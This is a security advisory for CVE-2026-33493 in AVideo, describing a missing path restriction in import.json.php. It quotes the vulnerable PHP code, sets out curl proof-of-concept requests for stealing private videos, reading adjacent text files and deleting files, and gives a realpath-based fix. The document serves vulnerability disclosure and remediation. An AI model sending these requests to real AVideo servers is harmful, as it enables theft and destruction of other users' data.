CVE-2026-33493

Description

## Summary The `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. ## Details ### Missing path restriction in import.json.php At `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`: ```php // objects/import.json.php:12 if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) { return false; } ``` Compare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths: ```php // objects/listFiles.json.php:16-28 $allowedBase = realpath($global['systemRootPath'] . 'videos'); // ... $resolvedPath = realpath($_POST['path']); if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) { http_response_code(403); echo json_encode(['error' => 'Path not allowed']); exit; } ``` The same fix was never applied to `import.json.php`. ### Attack Primitive 1: File content disclosure (.txt/.html/.htm) At lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`: ```php // objects/import.json.php:23-43 $filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename']; $extensions = ['txt', 'html', 'htm']; foreach ($extensions as $value) { if (file_exists("{$filename}.{$value}")) { $html = file_get_contents("{$filename}.{$value}"); $_POST['description'] = $html; // ... break; } } ``` The content flows into `$_POST['description']`, which is then saved as the video description by `upload.php:59-64`: ```php // view/mini-upload-form/upload.php:59-64 if (!empty($_POST['description'])) { // ... $video->setDescription($_POST['description']); } ``` The attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist — which is the standard layout for every video in the `videos/` directory. ### Attack Primitive 2: Private video theft At line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user's video: ```php // objects/import.json.php:47-49 $source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename']; if (!copy($source, $tmpFileName)) { // ... } ``` An attacker who knows or can enumerate another user's video filename can copy any private `.mp4` file into their own account. ### Attack Primitive 3: File deletion At lines 54-65, when `$_POST['delete']` is set, the endpoint deletes the source `.mp4` and adjacent text files: ```php // objects/import.json.php:54-61 if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') { if (is_writable($source)) { unlink($source); foreach ($extensions as $value) { if (file_exists("{$filename}.{$value}")) { unlink("{$filename}.{$value}"); } } } } ``` ## PoC ### Step 1: Steal a private video Assuming the attacker knows another user's video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API: ```bash curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4' ``` **Expected result:** The response returns `{"error":false, "videos_id": <new_id>, ...}`. The victim's private `.mp4` is now imported as the attacker's own video at the returned `videos_id`. ### Step 2: Read another user's video description file ```bash curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100' ``` **Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content. ### Step 3: Delete another user's video ```bash curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true' ``` **Expected result:** The victim's `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process). ## Impact - **Private video theft**: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality. - **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information. - **File deletion**: An attacker can delete other users' video files and metadata, causing data loss. - **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload. ## Recommended Fix Apply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check: ```php // objects/import.json.php — add after line 14 (the preg_match check) $allowedBase = realpath($global['systemRootPath'] . 'videos'); if ($allowedBase === false) { die(json_encode(['error' => 'Configuration error'])); } $allowedBase .= '/'; $resolvedDir = realpath(dirname($_POST['fileURI'])); if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) { http_response_code(403); die(json_encode(['error' => 'Path not allowed'])); } // Reconstruct fileURI from resolved path to prevent symlink bypass $_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']); ```

Affected packages (1)

• Packagist/wwbn/avideofrom 0, <= 26.0

CVSS scores

References (4)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-33493
• PATCHhttps://github.com/WWBN/AVideo
• WEBhttps://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78
• WEBhttps://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm